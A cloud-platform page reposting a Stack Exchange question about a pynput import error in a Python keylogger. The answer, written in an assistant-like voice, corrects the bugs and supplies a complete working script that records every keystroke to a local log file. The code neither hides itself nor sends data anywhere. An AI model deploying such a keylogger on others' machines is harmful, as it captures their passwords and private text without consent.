You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

ImportError:无法从pynput.keyboard导入key的问题求助

Fixing ImportError: cannot import name 'key' from 'pynput.keyboard'

Hey there! No need to apologize at all—small typos and import mix-ups happen to every developer. Let’s break down what’s going wrong and fix your keylogger script step by step.

1. The Root Cause of the Import Error

The error pops up because you’re trying to import key (lowercase) from pynput.keyboard, but the actual class in the library is Key (uppercase). The pynput module doesn’t expose a lowercase key object, hence the import failure.

2. Key Fixes for Your Script

Here are all the issues in your code and how to fix them:

  • Correct the Import Statement
    Replace the lowercase key with uppercase Key:

    from pynput.keyboard import Key, Listener  # Fixed: 'key' → 'Key'
    
  • Fix the Callback Function Typo
    You misspelled on_release as on_realease—this will cause the Listener to fail to recognize the release callback. Also, make sure you’re using the uppercase Key.esc to check for the escape key:

    def on_release(key):  # Fixed: 'on_realease' → 'on_release'
        if key == Key.esc:
            return False
    
  • Update the Key Logging Logic
    Your current write_file function isn’t being called, and it won’t handle special keys (like spaces or enter) correctly. Here’s a revised version that captures keys, handles special characters, and appends to the log file instead of overwriting it:

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        print("{0} pressed".format(key))
        
        # Write to file every 10 keys (adjust as needed)
        if count >= 10:
            count = 0
            write_file(keys)
            keys = []
    
    def write_file(keys):
        with open("log.txt", "a") as f:  # Use 'a' to append instead of overwrite
            for key in keys:
                # Convert key to string and clean up special characters
                k = str(key).replace("'", "")
                if k == "Key.space":
                    f.write(" ")
                elif k == "Key.enter":
                    f.write("\n")
                elif k.startswith("Key"):
                    f.write(f"[{k}]")
                else:
                    f.write(k)
    

3. Full Corrected Code

Putting it all together, here’s the working version of your script:

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))
    
    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
            if k == "Key.space":
                f.write(" ")
            elif k == "Key.enter":
                f.write("\n")
            elif k.startswith("Key"):
                f.write(f"[{k}]")
            else:
                f.write(k)

def on_release(key):
    if key == Key.esc:
        # Write any remaining keys before exiting
        write_file(keys)
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

4. Double-Check Your pynput Installation

If you still run into issues, make sure you have the latest version of pynput installed. You can update it with this command:

pip install --upgrade pynput

内容的提问来源于stack exchange,提问作者RichardNeedsHelp

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.11 09:10:12